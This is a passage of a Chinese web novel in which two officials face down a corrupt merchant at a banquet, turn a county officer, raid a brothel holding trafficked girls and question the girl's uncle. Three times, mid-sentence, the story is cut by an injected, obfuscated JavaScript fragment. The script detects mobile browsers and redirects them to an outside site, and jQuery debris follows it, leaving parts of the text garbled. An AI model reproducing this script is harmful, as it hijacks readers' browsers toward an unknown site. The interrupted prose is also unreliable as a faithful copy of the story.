墨迹未干的请帖递到了源尚安眼前:“我家老爷想见您一面,还望顾大人赏脸。” 14. 鸿门宴(一) 源尚安愉快地应了声:“放心,我稍后便至。” 仆从笑嘻嘻地接过他抛来的一枚银子,源尚安随口问:“你们家老爷挺有名气?” “不敢当不敢当,”仆从道,“老爷是念佛的人,行善积德惯了也就传开了,大伙都管他叫大善人。” “哦?” 仆从笑呵呵地指着方位:“您瞧,那几间寺院还是我们老爷出资修好的呢。” “那我以后一定要去看看。” 仆从见他热情又面带笑容,不由也放松了警惕。 乔沐苏以为这是个问话套话的好机会,却没想到源尚安点到即止,说了句自己待会儿过去便打发人先走一步了。 “怎么不多问点?” 毕竟是头遭见面,掌握的讯息越多越好。乔沐苏和源尚安相处良久,也习惯了他那套利用讯息差骗人唬人的把戏。 源尚安道:“他和那小孩子不一样,你看他衣着整洁价值不菲,必定是在府上深得信任的。问太多反而容易被他刻意误导。” “好吧,你总归棋高一着。” 旁人若说这话源尚安就要怀疑是别有用心地讨好,唯独乔沐苏说他只觉得是真心实意。 “不过,戚将军呢?” 论武艺还是戚玹这种出身行伍的更让人放心些。 源尚安知道他会问:“放心,我给他找了个好差事。” 人已经老实按照吩咐带人蹲守在坟堆附近了。 原本源尚安的打算是盯住阿锦的坟茔,若有人企图毁灭证据当场就能拿下,再顺藤摸瓜便能带出来不少人。 但既然有人临时变卦派人监视,源尚安也不介意小小地破坏一下原本的计划,给他们一个惊喜。 既然敢派人来,就该想到被发现的后果。源尚安丝毫不觉得这有什么过分之处。 他一向讲究能用则用,绝不浪费。因此从前那些正道清流看不惯他却也无可奈何,而走邪门歪道的奸佞一党见了他也要敬畏几分。 他天生就是来吃黑白两道饭的。 “不过来者不善呐,”乔沐苏又道,“我看这是场鸿门宴。” “他们不敢真的动手,此次是探探虚实,”源尚安道,“你还记得么,赵兴说过钦差要巡查此地,这个节骨眼上闹出乱子来,可捞不到几句好话。” “而且只有我去了,他们才有可能给孙夫人一条生路。” 他心里已有定数,然而当源尚安走近郑府门前还是微微怔了怔,在这座丹楹刻桷的宅邸前选择了驻足。 没等他理出思绪,那弥勒佛似的郑老爷便从容踏出府门:“今日能请少将军和顾大人光临寒舍,实乃草民之幸啊!” 源素臣已然习惯被人恭维簇拥的场景:“郑老爷客气了。” 心弦像是被这出乎意料的邀请拨出来了些许道不明的弦外之音,不过源尚安很快便顺水推舟:“不知少主来此,下官有误,还请少主责罚。” 源素臣也故意不看他:“也罢,今日看在郑老爷面子上,不提责罚的事。” 郑老爷谢了声,又寒暄道:“不知少将军近来可好?” 源素臣似是才想起来什么,略微瞄了眼身侧人:“有劳挂念,一切尚安。” 瞬间仿佛有根细微又柔软的绒毛在后背上蹭了一下,源尚安心下一动,立时抬起头来。 怎么还有意无意地点他呢。 但刚一抬眼源尚安便意识到了不对,身为下属他似乎不该越界和上级直接对视。 他只好又乖乖收了回去,而这份难得暴露出来的局促被源素臣尽收眼底,却只是暗自笑而不语。 两个对彼此再熟悉不过的人,此刻却要演出上下级之间的弯弯绕绕。源尚安不免觉得无奈,只希望待会儿不要露馅才好。 毕竟强行和人装不熟悉也怪尴尬的。 郑老爷做了个手势:“少将军请。” 源尚安略微慢了小半拍,好在没叫人看出端倪:“少主请。” 酒菜如流水般送了上来,但三人心思却显然都不在吃饭上。 郑老爷率先开口,赞道:“北地人才犹如过江之鲫,可能像少将军这样年少有为之人少之又少。草久仰大名敬慕已久,今日一见也算了却一桩心愿。” 他不提剿匪也不提从前的冤案,源素臣便也当做不知道:“郑老爷谬赞了,我也不是什么高洁之辈。这做官就和做生意一样,总得有个盼头,人才能做得下去。” “盼头?”郑老爷笑问。 “俗话说升官发财嘛。”源素臣抓起酒壶来倒酒,仆从上前要伺候却被他挡了回去。 “好,爽快。实不相瞒,我最喜欢和爽快人打交道。” 源素臣道:“但是经商有经商的规矩,做官也有做官的规矩。那种要掉脑袋的钱我不敢挣,咱们都是正道上的人,不能和土匪一个样。” “说得好,”郑老爷道,“我和少将军想的一样,咱们挣钱主打一个名正言顺。” 源尚安端详了二人少顷,揶揄道:“我倒是听说郑老爷是个不慕荣利的大善人。” “我又不图做官,那些钱下来无数只手都等着拿等着抢,”郑老爷道,“真正到我手里的能有几个子儿?” 他身躯随之前倾,似是想看清源素臣隐藏在心底的盘算。 “此次多亏少将军来,咱们名正言顺的名,也算是有了。” 源素臣笑道:“敢情老爷是看上我的名号了。” 郑老爷也陪笑:“少将军青年才俊勇武过人,名号一出必定是震慑群匪。” 他头回提到了匪字。 源素臣和源尚安一阵眼神交汇,把接话的任务也递了过去。 “我们初来乍到,对土匪的情况也不算熟悉,就怕把这事办砸了——” “不会办砸,”郑老爷笃定道,“我已经说了,剿匪,它是个名号。有了名号在,我们就可以做很多事情,少将军要的钱,也决不会缺。” “老爷说的不错,”源尚安道,“就像这平反冤案,有时候它也只是个旗号。” 郑老爷眉眼褶皱堆积:“冤案?” 源尚安不和他绕弯子,吹了声哨,府门外的戚玹即刻会意,揪着人跪在了宴席外。 “……哎呦、哎呦我错了,我……老爷救我、救我!” 郑老爷脸色微变,已然认出来这声音属于他派出去监视的少年。 “这小家伙正经事不干,偏偏在人坟前游荡,”源尚安道,“好巧不巧,这墓里躺着的姑娘还真走得不明不白。” 源素臣装模作样地哦了声:“那不会郑老爷知道吧?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872826|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>郑老爷咬牙转头,瞪了眼身后仆从。不消多时那少年就自己扇起了耳光:“是我不懂事,是我迷了眼净办糊涂事。污了老爷的清白,我该死、该死!” 源尚安对他的咬牙切齿了然于心,却故意置之不理:“方才说什么来着,剿匪,啊,确实还是剿匪更要紧些。” 郑老爷忍了又忍,那眼睛恨不得在源尚安身上盯出来两个窟窿:“大人到底是何方神圣?” 源尚安朝后靠了靠,随意看着桌上佳肴:“帐下主簿,凡俗之身。” 郑老爷缓慢摇头:“顾大人有英雄气。” “何以见得?” “若非英雄,也不敢轻易涉足此地。” 源尚安立时看向源素臣,笑道:“那这么说来,少主才是名副其实的大英雄。若非他来坐镇,下官怎敢前往。” 源素臣哼笑起来,伸手对着源尚安道:“郑老爷,您瞧见了吧,他别的不说,唯有那张嘴是当真厉害。” 郑老爷立马抱拳:“见到了。甘拜下风,甘拜下风!” 他主动给源尚安斟满了一杯酒:“顾大人,请。” 源尚安也不推辞,笑着饮下了杯中酒。见状郑老爷道:“有二位这句话,剿匪就办成了!” “但是清剿城外土匪,仅仅依靠金银还不够,”郑老爷又道,“少将军,顾主簿,我送二位一样珍品。” 他旋即拍了拍手,后头珠帘一挑,一名训练有素的侍卫捧着上品宝刀稳步上前。 “来,”郑老爷道,“给二位看看货!” 雪色长刃铮然出鞘,寒芒骤然竖起,眼见就要杀到身前。源尚安想也不想抓起剑鞘当啷一挑。 他动作太快几乎是刻在骨子里的本能,在场者甚至没能看清具体动作,那刀刃就已然又稳稳落回了鞘中。 源尚安握刀在手,鞘身停在了郑老爷脖颈附近:“能握在自己手里的才是好刀。” 郑老爷上手迅速抓住刀鞘另一端,面上肌肉紧绷,周遭或在明或在暗的侍卫仆从也个个精神紧张。 源素臣一动不动,对方才的剑拔弩张似乎置若罔闻。他舌尖微卷,一声嘹亮哨响后戚玹抬手一挥,数十名黑衣武士如同乌鸦般落到了庭院枝头,只待他一声令下。 郑老爷眉头一皱,推开刀鞘后五指逐个松开:“顾大人果然不同凡响。” 源尚安也微笑收刀放回原处:“如何剿匪,还请郑老爷细细道来。” “这永丰附近有一人名唤朱获,狡猾狠辣,专门挑商旅下手,令人头痛无比,”郑老爷缓了口气才继续道,“少将军若是能铲除此人,那是真的造福于民,要多少银两我都会奉陪到底!” 他比了个八的手势:“我可以先出这个数。” “八百两?” “八千,”郑老爷奸猾一笑,“事若能成,八万也不成问题。” 源素臣皮笑肉不笑:“这个姓朱的不会半道上知道点什么不该知道的吧?” “绝对不会!”郑老爷摇手,“我可以担保。” “你能以什么作保?” 郑老爷倒酒的姿势瞬间凝固,呼吸也随之一停:“我诚心敬佛,可以向如来虔诚发誓。” 源素臣对这回答并不满意,他将手按在了郑老爷跟前的桌面:“以你项上人头,就这么定了。” 15.鸿门宴(二) 寒气无声蔓延开来,郑良辅牙关紧咬两颊肌肉紧绷,目光盯着源素臣一动不动。 “少将军,你我何必为难彼此?”郑良辅道,“我们本可以合作共赢。” 他打了个响指,身后玉帘轻挑,走出来个如画般的美人。 “我知道少将军未曾娶妻,这都是留春坊培养出来的好人儿。能留在少将军身边侍奉也是她们修来的福气。” 若说方才源素臣还是警告试探为上,那么此刻看到郑良辅竭力献殷勤便是有些恼怒了。 他的神情比起刚才分明没有太多变化,可唇瓣两侧的肌肉隐隐约约坠了下来,配合着烛光下的影子,整个人面上瞬间多了一重阴郁之气。 源尚安对此变化一览无余,但却分毫没有救场的意思,反而拱了拱火:“郑老爷,您知道请客送礼有什么讲究吗?” “这最关键的八个字,叫投其所好,对症下药。您这个……” 他轻声哂笑:“这叫病急乱投医。” 郑良辅赶忙道:“少将军恕罪!草民也只是——” 源素臣当啷一声摔了酒,碎屑如雪纷飞,他旋即起身:“八千白银奉陪到底,还望郑老爷记住这句话。否则。” “如同此杯。” 说罢他头也不回地叫了源尚安:“走!” —————— 墙上树上埋伏着的武士等了一会儿,等来的是源素臣暗示退下的哨声。 得知今晚暂不动手后寻微挥手示意人跟着自己撤退,朝着郑老爷那头讪笑了声:“算他走运。” 戚玹也松开了扭人的手,出门时恰好和寻微打了个照面。 “哟,”寻微拍了下他肩膀,“这几日怪幸苦。” 戚玹嗯了声,眼神没动。寻微以为他在等源素臣:“那我带人先走了,你多加小心,嗯?” 话虽如此可寻微还是觉察到了他的不寻常:这家伙,什么时候叫鬼迷了心窍了。 须臾后源素臣和源尚安随着郑老爷与家仆的恭维说笑声出了府门,他被酒意催得身上有些热,解下披风示意戚玹拿着。 戚玹不知怎的慢了半拍,叫衣摆拖了地。 “嗯?”源素臣立时看了过去,“怎么回事心不在焉的?” “看什么呢,有什么好看的?” 源素臣上手拿回来沾土的披风抖了抖,顺便沿着戚玹的目光看了过去。 然而望见背影的那一瞬他默了片晌才略带拘谨回道:“确实……挺好看的。” 落入两处眸光里的人尚对此无知无觉,由于方才一直聚精会神同人周旋,源尚安根本没吃几口饭,现在街上零零星星开着的小吃铺对他而言无异于一种巨大诱惑。 香气四溢、肥瘦相间的肉馅被包在烤制后泛黄的馍里,食客的手略微压一下,其间便能渗出滴滴答答的棕色肉汁。 不消片刻源素臣就看见源尚安怀里抱了一大堆肉夹馍回来。 薄薄的一层纸根本防不住油腻,黏糊糊的肉汁还是沿着手指滴了下来,不过源尚安也不介意,把买来的肉夹馍也分给了戚玹两块。 分完了之后他也不客气地咬了下去。 戚玹怔了怔,大概是不习惯这人还有如此烟火气的一面。 他以为这种超凡脱俗的仙子该是不屑沾染荤腥油腻,顿顿餐松啖柏以清淡养生,否则怎么养得出来一身风骨。 ……是吧? 源尚安两三口吃完了第一块馍:“怎么不吃啊戚将军?” 戚玹小心地问:“府君您能吃这个吗?” 他印象里的病人在饮食上都是格外小心,不敢越界的。 不仅吃了肉夹馍还拿了一大把烤羊肉串的源尚安:“这个嘛……” 他塞了几串给源素臣,随后又笑眯眯道:“病人不是更应该吃些美食调养身体嘛。” “……是、是这样吗?” 源素臣眯眼看着两人聊天,什么也没说,默默掏钱把账付了。随后拍了下不知在想些什么的戚玹叫他打道回府。 “你笑什么?” 源尚安没有解答他的疑问,而是道:“我的事可办得差不多了,不知道你想办的事可有什么进展?” 他把怀里藏着的豆沙糖糕递了过去:“需要帮忙的时候也要记得说。” 那绵软的米糕中裹着细腻香甜的豆沙馅,是自己从小爱到大的味道。 源素臣拿在手里没吃:“今夜过后,我们也算是跟他们摊牌了。” 源尚安自如不减:“不是还留了一个人吗?时候差不多了,我打算见见他。” —————— 源素臣以疗伤的名义把赵兴扣在了军营里不让走,后者听闻了今晚郑良辅宴请的消息之后便急得像是热锅上的蚂蚁,整日寝食难安。 军营里防守严密,绝不允许他偷偷溜出去。此刻的赵兴可谓是悔恨交加,他知道自己就算回了衙门,也解释不清了。 “赵大人这是要去哪儿?” 骤然飘入耳中的话音让心里有鬼的人脚步一乱,赵兴差点自个儿绊着自个儿:“哟……这不是顾主簿。我就是喝多了水想着——” 源尚安云淡风轻地戳穿了他的谎言:“唇角干涩起皮,想来许久不曾饮水了。” “……” 赵兴神色沉了下来,心中敌意凝聚。 自从这人来了永丰之后便在处处和自己过不去。赵兴也有意无意地在他要走的路上丢下些磨人的石子,希冀他能够知难而退。 可结果却适得其反,这人反而要得寸进尺了。 “顾主簿,我和您无冤无仇吧。” 源尚安笑着回了眼神:“是啊。” “您是来了一趟就要走的人,既然你我无冤无仇,又何苦如此呢?”赵兴道,“咱们各有各的路要走,何必打扰。” “打扰?没记错的话先来寻我们的还是赵大人您吧。” 跟这种人简直没法聊。要论和稀泥打太极他也是个中好手。 赵兴只好把话略微挑明了些:“顾主簿,这永丰县务与外乡人无关吧。” 源尚安失笑反问:“你就那么肯定我一定是外乡人?” 赵兴舔了舔嘴,又一次在这个人身上感受到了无力。 源尚安道:“赵大人也是宦海浮沉多年的人,就没有想过少将军缘何敢过问县城内务吗?” 他好心地给了个提示:“当年陛下还是太子之时遭高纫兰设计暗杀,一路上竭力护佑保太子顺利即位的可就是他。” 赵兴不自在地吞了口唾沫。这段传奇经历他自然也有所耳闻,只是他又听说天子软弱,时至今日仍不能亲政,他也就没把这份扶龙之功放在眼里。 可是现在仔细一想,当前不能亲政不代表未来不会夺权。天子在暗中培养军队,说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882324|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不准真的有从太后和丞相手中争抢的心思。 史书上也有秦始皇汉宣帝那样韬光养晦的实例。 赵兴沉寂少顷,最终拱手道:“下官鲁钝,还请顾大人指点一二。” 源尚安点拨道:“少将军有兵权在身,和他对抗得不偿失啊。” “……是。” 见他愿意上道,源尚安便拿出来了准备好的供词递到眼前:“这个认得么?” 赵兴飞速扫了一眼,看见孙齐两个字之后险些眼前一黑:“这、这……这简直是胡说八道!一派胡言!我什么时候逼迫过那个姓孙的叫她改口?!这简直是一派胡言,大人万万不能信她的鬼话!” 她真是疯了,为了喊冤什么都说得出来! 源尚安叹了口气:“这东西想证明不好证,可是想证伪也有些难。” 何况现在时间紧迫。 赵兴就是为这个头疼,新任太守抵达之后,钦差巡查考核官员功绩在即,这个时候闹出来这种插曲虽说不至于叫他锒铛入狱,却也足以在中正官心目里留下不那么光彩的一笔。 源尚安却柔声道:“赵大人不必担心,这东西我没有给第三个人看过。” 赵兴一瞬间心里有点不是滋味,他已然察觉到了这人没怀什么好心,但现在自己似乎还得谢谢他。 “这……多谢大人,”他只好不情不愿地来了一句,“这姓孙的婆娘人呢?空口白牙诬陷在职官吏,我现在——” 源尚安遗憾道:“她人不在,我去问了,说是被亲戚接走了。” “……胡说!她那个堂弟早就……她哪来的亲戚!” 源尚安一副震惊模样:“你是说她没有亲人在世?” “那就糟糕了,这个节骨眼上是谁会把她带走防着人见?” 赵兴气不打一处来,他已经猜到了人选,但此刻恨自己人不争气的心大过了一切。 这都在办什么蠢事?整天就逮着他一个人坑吗? 源尚安似是不确定,又问了一遍:“赵大人当真肯定她没有可以依靠的亲人吗?” 赵兴道:“她父母早亡,丈夫不幸死在了战场,同辈里只有个堂弟孙七还在。” 说到这里他似是也不太瞧得上孙七的人品,略带鄙夷又道:“这家伙是个混子,该沾的不该沾的全沾了。” 但他做不出来带走堂姐的事,一是现存的良心没到那份上,二是一个混混能有什么正经住处留着藏人? 源尚安道:“那就是有人刻意为之了。” 赵兴猛吸了一口气,想说有必要么。他这些年来拿钱办事没含糊过,也没四处树敌招人厌,怎么就被人针对了? 他现在有万语千言要找潘理全和郑良辅对质,可是偏偏又被困于此地没法走人。真真是进退两难。 源尚安见他不说话,又道:“要是小中正来了,他们把人证偷偷摸摸地一递,赵大人那时候何以自处?” 赵兴无言以对。 官场上的人会不会有那点不可告人的攀比嫉妒心思他再清楚不过:青云之路近在咫尺,能用一点小手段干掉竞争者为什么不用? 当然正人君子不屑于此,但那帮同伙是个什么臭德行他心里明白,人品是指望不上的。 他百般无奈只得求助:“顾大人可有良策?” 源尚安问:“你想不想当一回青天,让他们自食其果?” 16.绵里针(一) 赵兴嘴角一阵抽搐,直觉告诉他这狐狸又在唬人。 然而他悲哀地发现自己好像没有拒绝的底气和本事,更没有理由:他现在连人带把柄都在这家伙手里,合作是当下唯一的选择。 这世界上弯弯绕绕太多,不是他一个人能平得了的,他只需要看护好自己头上这顶乌纱帽即可。 而且这也是同僚不仁在先,自己为求自保转换门庭不能算错。 赵兴道:“还请大人指点。” 源尚安很是通情达理道:“你是县尉,日常负责的是县城治安,这案子的错不能算在你一个人头上。” “是……” 不料这人下一句话竟是笑着问道:“那您觉得推到谁的头上更合适些呢赵大人?” 赵兴:? 这种事还可以让他做主吗? 他诚恳道:“下官没搞明白。” 源尚安道:“既然这案子叫当事人喊冤叫屈,其中必有蹊跷。为防止有人借此反咬一口,赵大人不如先下手为强。” 他不是提示,已几乎是明示了:“孙夫人那晚接受治疗的时候,没少提到她那位堂弟啊。” 赵兴琢磨一阵,心道也是。 孙七吃喝嫖赌样样齐全,而这样的混混最容易缺钱。手头紧张碰上赌瘾发作早就磨得他没了良心,于是打上了侄女阿锦的主意。 这一切听起来似乎还真像那么回事。 但这一琢磨下来,他就有了另一个问题:面前这人手法老到思路清晰,不像是第一次办案的人。 “怎么,赵大人觉得这个说法靠不住?” “……靠得住靠得住,”赵兴连声赞同,“孙七那家伙就是个泼皮无赖,哪有什么天良可言,此事是他主谋十分合理。” 源尚安却道:“不够合理。” 赵兴本能地嘶了一声。 “这还有什么问题?” 源尚安几乎是在一步步教他怎么办案:“一个混惯了日子的泼皮无赖,哪来的知识和手腕在害死侄女之后还能把整件事圆成‘意外溺水’?” 他最多只能做到杀人灭口外加毁尸灭迹,做不到巧妙地把侄女阿锦的死亡掩盖成失足溺水。 说白了,没有那个头脑也缺乏相应的知识。 赵兴吞了口唾沫:“您是说……” “他背后有靠山,得了高人指点。” 赵兴咬了咬嘴唇,这不是让他从同僚里找一个倒霉蛋背黑锅吗? 而且,这位顾大人没说“主谋”,用的是“靠山”。 县城里无权无势、只负责跑腿的小喽啰显然不属于“靠山”行列。职权不够重要的同僚也没资格做旁人的“靠山”。 赵兴眼前再度一黑,那人选不就只剩他昔日亲朋潘县丞了吗? 县太爷被架空多年,也干脆当起了甩手掌柜让潘理全主管大小事务。赵兴往常最会见机行事,自然迅速和他结为了“朋友”。 潘县丞背后就是郑老爷,这等于是让他在永丰苦心经营多年的成果通通泡汤啊! 眼前浮现二位倒霉蛋的面孔,赵兴只感心脏一阵抽抽,差点倒地不起。 万一中途出了差错,他也算是完蛋了。 “这、这……您是说孙七投靠了潘县丞。” 源尚安似笑非笑:“我没说,是您说的。” “……” 赵兴突然想问问他和潘理全到底什么仇什么怨,但话到嘴边又被咽了下去。 如果源素臣真的得到了陛下或者朝廷里某个人的暗示,准备对郑良辅开刀,拿商人的钱替陛下养人,那他们注定躲不过这一劫。 自己现在从这艘即将沉没的船上跳下来还来得及。 想通了这一点后,赵兴反而比源尚安更主动:“这样说是不是不太够?一个无赖混混能有什么叫潘理全惦记,收下他又能有什么好处。” “是啊,能有什么好处,”源尚安替他翻开下一页供词,“答案写在纸上。” 赵兴这才想到方才着急,他只看了有关自己的部分,其余部分飞速略了过去。如今他细细一看,果然注意到了关键:“……留春坊?孙夫人怀疑她女儿被卖到了青楼?” 源尚安道:“青楼楚馆不仅要有公章证明合规,还要按年交税。赵大人收税时应该知道老板是谁吧。” ……岂止是知道,还拿了人家不少钱帮忙偷税漏税呢。 当然这些钱都是别人拿大头,赵兴只配喝点剩汤。 源尚安又道:“回答我一个问题,那些风月之地的姑娘都是怎么来的?” 赵兴如实道:“有些是被家里人卖来的,有些就是……被拐的。一般送过来都年纪不大,老鸨还会专门选那种、那种性子软的。” 这样才好管教,这样才会听话。 “只接待平头百姓么?” “……呃,有时候上面来人的话,如果有那方面爱好,就……” 源尚安斜睨了赵兴一眼,那眼神莫名叫他汗毛倒竖。 赵兴深深吸了一口气,决定给自己小小辩白两句:“顾大人放心,我肯定还是洁身自好的……” “谁叫你说这个了。” 赵兴立马回到正轨:“是是是,我知道您的意思,就是说这潘理全和留春坊狼狈为奸,平日里靠孙七这种混混提供人员。” “证据呢?” “找到孙七,就有证据。” “你能找到吗?” 赵兴已然把这事看成了交给源尚安的投名状,因此格外上心:“您放心,这种混混我最了解,他们扛不住瘾,过几日就得回到赌场青楼,只要派人蹲守,一定能捉拿归案。” “一定?” “一定一定!”赵兴道,“没有问题,没有困难,保证完成任务。” 没想到这般态度和保证还是没能叫源尚安满意,他又道:“既然是个无赖,那会轻易认罪吗?” “您放心,”赵兴呵呵一笑,“人都是贱皮贱肉,大刑伺候一遭,没有他想不起来的往事。” 然而他话音刚落便见源尚安的眼神一瞬冷若冰霜,仿佛是因为被触到了心底的禁忌,叫他竟是不争气地打了个寒噤。 ……他好像说错话了。 但是这话有什么问题吗?对付不老实的犯人不就应该手段严酷。 源尚安道:“不要重刑逼供或是变相折磨,你拿到了供词也是给别人留下了把柄。” “是,大人教训的是。” “但是不用点招数,怎么对付得了这种滑头?” 源尚安反问:“孙七为什么会答应帮潘理全拐人?” “……有钱拿。” 话一说完赵兴就懂了,这种人没什么忠诚可言,只要能让他看到更大的好处改口不是问题。 只是这钱听起来像是需要自己出。 赵兴一阵肉疼,这几天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890823|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他都被骗着出几次钱了? 但转念一想,能花几两银子就摆平的事,都是小事。 “只有他一个人证不够,”源尚安道,“太容易被推翻了。” “那……” “得想办法,让死者自己站出来说话。” —————— 月黑风高夜,赵兴和人望着山坡上那座矮小的坟茔,一时百感交集。 怎么他还得刨人家坟啊? 赵兴掂量着锄头无话可说,今夜之后他是彻底开弓没有回头箭了。 他望了一眼坟堆,感觉这里埋的不是阿锦瘦瘦小小的尸体,是自个儿苦心经营多年的前程。 希望这一回姓潘的和姓郑的是彻底玩完了,不然…… 赵兴叹了口气,甩下锄头。 事已至此,先挖坟吧。 当然他不是一个人在战斗,源尚安给赵兴找了帮手和监视,几个人合力之下很快锄头就碰到了棺材板。 与此同时,另一边的留春坊里随着官兵闯入而尖叫四起。 老鸨道:“官爷这是做什么啊官爷!” 前头官兵呵呵道:“你这儿惹事了,尽早把人交出来才可免灾!” 屋里头的姑娘们连忙收拾,嫖客则慌不择路连衣裳也顾不上穿,更有甚者试图从二楼一跃而下,却被高度吓得差点晕了过去。 热闹顿时引来了无数看客,有人幸灾乐祸:“又是谁要遭殃了?” 有人则暗自窃喜:“幸亏我没去。” 老鸨忙布置了点茶水接待,对为首的高大男人十分敬重:“官爷深夜到访,有失远迎有失远迎……小店一向本分做事,您看这是凭证。” 戚玹对这样的场合缺乏应对经验,原本是不大想来的。可源尚安却坚持让他练练和人周旋的本事。 他低头看了看老鸨殷勤递来的茶水,一时无话。 “官爷,您看……” 老鸨正欲说情,戚玹便笑着推开茶盏道:“小中正要来考核,为避风头,暂且歇业吧。” 老鸨悬着的心缓缓落地,笑道:“您放心,小的们会收规矩。” 戚玹想到方才见到的几个病恹恹还被强迫出来接客的姑娘,心底不由一阵恶寒:府君说的没错,这地方活生生把人变成了鬼。 “那我们要做什么?”戚玹记得自己如是问道。 源尚安瞳色平静:“我们把鬼重新变成人。” 戚玹顺势凑近道:“楼上有几位姑娘我瞧着不错。” 老鸨喜笑颜开,立刻明白了暗示:“爷放心,我这就给您送过去!” 五个人梳妆整齐,陆陆续续跟着戚玹出了大门。老鸨以为灾祸已平,喜滋滋地透露了孙七的下落。 戚玹道:“寻姐,这几位就麻烦你了。” 寻微笑道了声客气,转头发现这五个姑娘头回来军营,个个低头立正站在了一侧,难掩紧张。 她怔了片刻,随后取下头盔和身上铁甲,又散开了高高挽起的发髻:“不必紧张,我同你们一样,也是个女人。你们就把这儿当做——” 寻微刚想说个家字,却忽而想到她们的难处,若真是家庭美满也不会到这种地方。 她换了副更亲切的笑颜:“你们就把我当做自家姐妹,这里不会为难你们。哪儿不舒服也可以找大夫。” “当然,如果还能给我们提供一些有用的信息,那还会有额外的奖赏。” 17.绵里针(二) 留春坊关闭的第二日老鸨不敢耽搁,派人把消息递了出去以防万一。 “你说的可是真的?” “千真万确,我怎敢诓您呀潘大人。况且我也觉得这事瞧着不对头啊,怎么突然就说要查封……” 潘县丞抬手示意不说这个,又问:“看清楚来的是什么人了吗?” “是赵县尉的人。” “……确定?” “确定,亲眼所见,草民都见过无数回了绝对不可能认错!” “老赵这家伙,”潘县丞小声嘟囔,“这是要干什么……” 一种猜测骤然掠过心头,这家伙该不会是见利忘义,叛变了吧? 潘县丞满腹狐疑不大确定,又问了声手底下的人:“他这几日干什么去了你们可知道?” 左右一阵茫然地面面相觑:“……我们好几日都没见过赵大人了。” 闻言潘县丞顿时五味杂陈:“还真是靠不住。” 自从永丰多了一路驻军之后,原本的太平宁静就被打破了。潘县丞隐约觉得赵兴是得到了某位高人点拨支持,这才有了底气。 这糊涂东西,永丰才是他的根本,投靠外人能换来什么好处! ……或许这外人真有些手腕人脉也说不准。 要真是如此,他也得尽早给自己挖一条退路,以防万一。 至少不能傻乎乎地一条路走到黑。 潘县丞沉思良久,最后叫来人:“你去给孙夫人好吃好喝的供着,就说是我的意思,万万不能叫她对咱们有什么怨言。” “是。” “对了,你替我再去准备些东西,送给军营里那位顾大人。” 他口中神出鬼没叫人摸不着头脑的“顾主簿”如今正对着地上瘫成烂泥的孙七打量。 混混没脸没皮耍无赖惯了,人干脆往地上一躺装醉不起,不管什么人叫他孙七都铁了心不搭理。 云昼气道:“打一顿就老实了。” 源尚安却并未动怒,从始至终心潮都未曾因为耍无赖而有所起伏。他平静地踩掉了孙七一只破鞋,拿来清灰用的鸡毛掸子照着脚心不轻不重地挠了挠。 孙七把脸埋进袖口,竭尽全力忍了又忍,最终还是没能扛不住这等“刑罚”破功哈哈大笑了起来。 源尚安也笑着收起来了鸡毛掸子:“酒醒了?” 孙七眼珠子滴溜溜转了圈,他不认识上头的人,但从衣着推测地位不会太低。 他道:“老爷怎么还跟我们这种人一般见识。” 他越想周旋越想拖延时间源尚安便越不给这个机会,直截了当道:“为什么找你来知道吗?” 孙七装起糊涂:“老爷站得高望得远,我哪能看得懂老爷的心思。” 源尚安道:“你没有门正经手艺傍身,每日吃喝嫖赌哪来的银子?” 孙七打了个哈欠,装作醉意又犯了。 他这套功夫用得得心应手,从前不知叫多少人火冒三丈却又无可奈何。 然而源尚安却道:“那就是涉嫌偷窃,收监吧。” “……唉唉唉,老爷这话是什么意思?”孙七喊冤叫屈,“没有证据凭什么拿我?这世上可没有有钱花就是犯法的道理。” 源尚安直接掐断了他的声音:“你有个侄女小名阿锦,大半年前你还是流落街头乞讨,可自从她被你带走之后,有人反映第二晚你就出现在了一家赌坊。” 孙七呈大字型瘫倒:“路上捡的钱,不成吗?” 源尚安拿出来一枚白银:“可你用的钱长这样。” 孙七哼了声不以为意,这银子又不能说话,还能告诉他自个儿从哪来的? 源尚安似乎看透了他的鄙夷:“平民百姓多用铜钱和碎银块进行买卖,这种银元宝则是每年收完税之后为了方便运输储存,将交上来的碎银块回炉熔铸而成,因此多流通于达官贵人之手。” “现在你告诉我,你有什么本事能拿到他们手里的钱?” “……” 孙七混惯了,头回碰到这般不依不饶又能见微知著的人。 他立马知道这人是个不好对付的硬钉子,脑中飞速盘算着说辞,却再度被源尚安打断:“这件案子疑点重重,推翻再审只是时间问题。你以为替人办事他们就会保你一辈子?别犯蠢了,到时候你只不过是他们率先丢掉的弃子而已。” 孙七还想负隅顽抗:“我只不过好心给她指了个去处,后面的事跟我没有任何关系!” 源尚安道:“贩卖人口可比失手杀人的罪过更大。” 孙七的心腾地一下凉了。 